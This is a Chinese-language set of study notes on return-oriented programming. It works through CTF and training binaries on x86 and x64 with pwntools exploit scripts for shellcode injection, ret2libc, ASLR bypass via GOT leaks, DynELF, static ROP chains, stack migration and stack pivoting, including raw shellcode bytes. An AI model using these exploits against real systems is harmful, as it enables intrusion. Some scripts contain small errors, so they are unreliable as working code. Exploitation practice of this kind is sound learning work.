参考蒸米一步一步学ROP
linux下_x86篇
level1
第一题主要的点就是在找shellcode的地址,要开启core dump这个功能
接着用gdb调试core这个文件
pwndbg> x/10s $esp-144 0xffffd480: "1\311\367\341Qh//shh/bin\211\343\260\v̀", 'a' <repeats 119 times>, "\220\324\377\377\n\325\377\377" 0xffffd515: "" 0xffffd516: "" 0xffffd517: "" 0xffffd518: "" 0xffffd519: "" 0xffffd51a: "" 0xffffd51b: "" 0xffffd51c: "!\337\337", <incomplete sequence \367> 0xffffd521: "\320\373", <incomplete sequence \367>
|
这里我遇到一个问题就是,每次出来的地址不同,有的可利用,有的不可以
exp如下
from pwn import *
io = process('./level1')
buf_addr = 0xffffd480 shellcode = (asm(shellcraft.sh()))
payload = shellcode + (140 - len(shellcode)) * b'a'+ p32(buf_addr) io.sendline(payload)
io.interactive()
|
level2
level2我们打开DEP
这个就是典型的ret2lib,在gdb中先使程序在main下个断点,然后run起来,使程序加载libc.so,就可以使用print system以及search找到system函数在内存中的地址和/bin/sh的地址
exp
from pwn import *
io = process('./level2')
system_addr = 0xf7e222e0 bin_sh = 0xf7f630af
payload = b'a' * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(bin_sh)
io.sendline(payload)
io.interactive()
|
level3
这题我们再打开ASLR
sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space
|
用ldd命令查看发现libc.so的地址每次都会改变
为了bypass ASLR,我们的思路是:先泄漏出程序内某些函数的地址,然后通过其偏移来算出基地址,再算出我们要利用函数的地址
因为程序中并没有使用system
函数,但是我们可以利用write@plt()
函数将write函数的地址通过write@got
泄漏出来,原因是write函数是在libc.so中实现的,当我们调用write@plt
时,系统将write
的地址linking到write@got
中,通过linux中的LazyBinding,它会跳转到write@got
上从而找到write
函数的地址
计算函数偏移可以看这张图
exp如下
from pwn import *
io = remote('127.0.0.1',10003) elf = ELF('./level2') lib = ELF('libc.so')
write_plt = elf.symbols['write'] write_got = elf.symbols['write'] start = elf.symbols['_start'] vul_addr = elf.symbols['vulnerable_function']
padding = b'a' * 140
payload1 = padding + p32(write_plt)+p32(start)+ p32(1)+ p32(write_got) +p32(4) io.send(payload1) write_addr = u32(io.recv(4)) print(hex(write_addr))
lib_base = write_addr - lib.symbols['write'] system = lib_base + lib.symbols['system'] bin_sh = lib_base + next(lib.search(b'/bin/sh'))
payload2 = padding + p32(system) + p32(0xdeadbeef) + p32(bin_sh) io.sendline(payload2)
io.interactive()
|
level4
无libc.so的ret2libc,利用DynELF泄漏出system地址
from pwn import * io = process('./level2')
elf = ELF('./level2')
write_plt = elf.symbols['write'] start = elf.symbols['_start'] bss = elf.bss() vul_addr = elf.symbols['vulnerable_function'] read_plt = elf.symbols['read']
def leak(address): payload = b'a' * 140 + p32(write_plt) + p32(start) + p32(1) + p32(address) + p32(4) io.sendline(payload) data = io.recv(4) return data
d = DynELF(leak, elf=ELF('./level2')) system_addr = d.lookup('system', 'libc')
payload2 = b'a' * 140 + p32(read_plt) + p32(vul_addr) + p32(0) + p32(bss) + p32(8) io.sendline(payload2) io.send('/bin/sh\x00')
payload3 = b'a' * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(bss)
io.interactive()
|
linux下_x64篇
- 内存地址由32位变为64位
- 参数传递,前六个参数从左到右依次存在RDI,RSI,RDX,RCX,R8,R9。多于六个的参数从右到左存在栈上,同x86传参
Level2_x64
这里因为我本地环境可能有点问题,编译出来的程序,exp打的时候总会报错。。。于是就用javirs oj上的题来练手了
这题和之前的x86差不多,就是要改传参的方式
exp
from pwn import * io = remote('pwn2.jarvisoj.com', 9882) elf = ELF('./level2_x64')
system = elf.symbols['system'] bin_sh = next(elf.search(b'/bin/sh')) pop_rdi_ret = 0x00000000004006b3
payload = b'a' * 0x88 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system) + p64(0xdeadbeef) io.recvuntil('Input:\n') io.sendline(payload)
io.interactive()
|
Level3_x64
这题思路也是与x86的相同,只是传参调用的方式变了,要设置寄存器以及从左到右传参
exp如下
from pwn import *
io = remote('pwn2.jarvisoj.com',9883) elf = ELF('./level3_x64') lib = ELF('./libc-2.19.so')
write_plt = elf.symbols['write'] write_got = elf.got['write'] start = elf.symbols['_start'] pop_rdi_ret = 0x00000000004006b3 pop_rdi_r15_ret = 0x00000000004006b1 vul_addr = elf.symbols['vulnerable_function']
payload = b'a' * 0x88 payload += p64(pop_rdi_ret) + p64(1) payload += p64(pop_rdi_r15_ret) + p64(write_got) + p64(0xdeadbeef) payload += p64(write_plt) + p64(start) io.recvuntil("Input:\n") io.sendline(payload) write_addr = u64(io.recv(8))
lib_base = write_addr - lib.symbols['write'] system = lib_base + lib.symbols['system'] bin_sh = lib_base + next(lib.search(b'/bin/sh'))
payload2 = b'a' * 0x88 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system) io.recvuntil("Input:\n") io.sendline(payload2)
io.interactive()
|
HITCON Trainging - lab5&&lab6
源程序
#include <stdio.h>
int main(){ char buf[20]; puts("ROP is easy is'nt it ?"); printf("Your input :"); fflush(stdout); read(0,buf,100); }
|
查看保护
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
|
Static Linking
File
simplerop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=bdd40d725b490b97d5a25857a6273870c7de399f, not stripped
|
exp
from pwn import *
io = process('./simplerop') context.arch = 'i386'
padding = b'a' * 32 buf_data = 0x080ea060 pop_eax_ret = 0x080bae06 pop_edx_ecx_ebx_ret = 0x0806e850 mov_dedx_eax_ret = 0x0809a15d pop_edx_ret = 0x0806e82a pop_edx_ecx_ebx_ret = 0x0806e850 int_80 = 0x080493e1
rop = flat([pop_edx_ret,buf_data,pop_eax_ret,'/bin',mov_dedx_eax_ret]) rop += flat([pop_edx_ret,buf_data+4,pop_eax_ret,'/sh\x00',mov_dedx_eax_ret]) rop += flat([pop_edx_ecx_ebx_ret,0,0,buf_data,pop_eax_ret,0xb,int_80])
payload = padding + rop
io.recvuntil(":") io.sendline(payload) io.interactive()
|
Using ROP bypass ASLR
- 假设dynamic编译的程序中存在BOF漏洞且没开PIE情况(先不考虑Stack Guard)
- How to bypass
- Use .plt section to leak information
- 存在put write send…等 output function
Stack Migration
#include <stdio.h>
int count = 1337 ;
int main(){ if(count != 1337) _exit(1); count++; char buf[40]; setvbuf(stdout,0,2,0); puts("Try your best :"); read(0,buf,64); return ; }
|
gcc -m32 -z relro -z now -fno-stack-protector -mpreferred-stack-boundary=2 migration.c -o migration
|
exp
from pwn import * import time io = process('./migration') elf = ELF('./migration') libc = ELF('/lib/i386-linux-gnu/libc.so.6') padding = b'a' * 40
buf1 = 0x804ae00 buf2 = buf1 + 0x100 read_plt = elf.plt['read'] put_plt = elf.plt['puts'] leave_ret = 0x08048418 pop_ebx_ret = 0x0804836d put_got = elf.got['puts'] put_off = libc.symbols['puts']
rop1 = flat([buf1,read_plt,leave_ret,0,buf1,100]) payload = padding + rop1 io.send(payload) time.sleep(0.1)
rop2 = flat([buf2,put_plt,pop_ebx_ret,put_got,read_plt,leave_ret,0,buf2,100]) io.send(rop2) time.sleep(0.1) io.recvuntil("\n") data = u32(io.recvuntil("\n")[:-1]) lib = data - put_off print(hex(lib))
system = lib + libc.symbols['system'] bin_sh = buf2 + 16 rop3 = flat([buf1,system,0xdeadbeef,bin_sh,'/bin/sh\x00']) io.send(rop3) time.sleep(0.1)
io.interactive()
|
Stack Pivoting
概念转自CTF-WIKI
劫持栈指针指向攻击者所能控制的内存处
- 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
- 开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。
- 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用
X-CTF Quals 2016 - b0verfl0w
先放exp
from pwn import * io = process('./b0verfl0w')
jmp_esp = 0x08048504 shellcode = b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" padding = (0x20 - len(shellcode)) * b'a'
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
payload = flat([shellcode, padding, b'b' * 4, jmp_esp, sub_esp_jmp]) io.recvuntil("What's your name?\n") io.sendline(payload)
io.interactive()
|
在IDA中可以发现我们可以利用的溢出长度很短,所以我们很难找到一些ROPchain,根据wiki上的思路就是
- 在栈上布置shellcode
- 操控eip指向shellcode处
再就是payload最后一段的设置esp
- len(shellcode+padding) = 0x20
- len(ebp) = 4
- len(jmp_esp) = 4
找尽量短的
http://shell-storm.org/shellcode/files/shellcode-575.php
TO DO…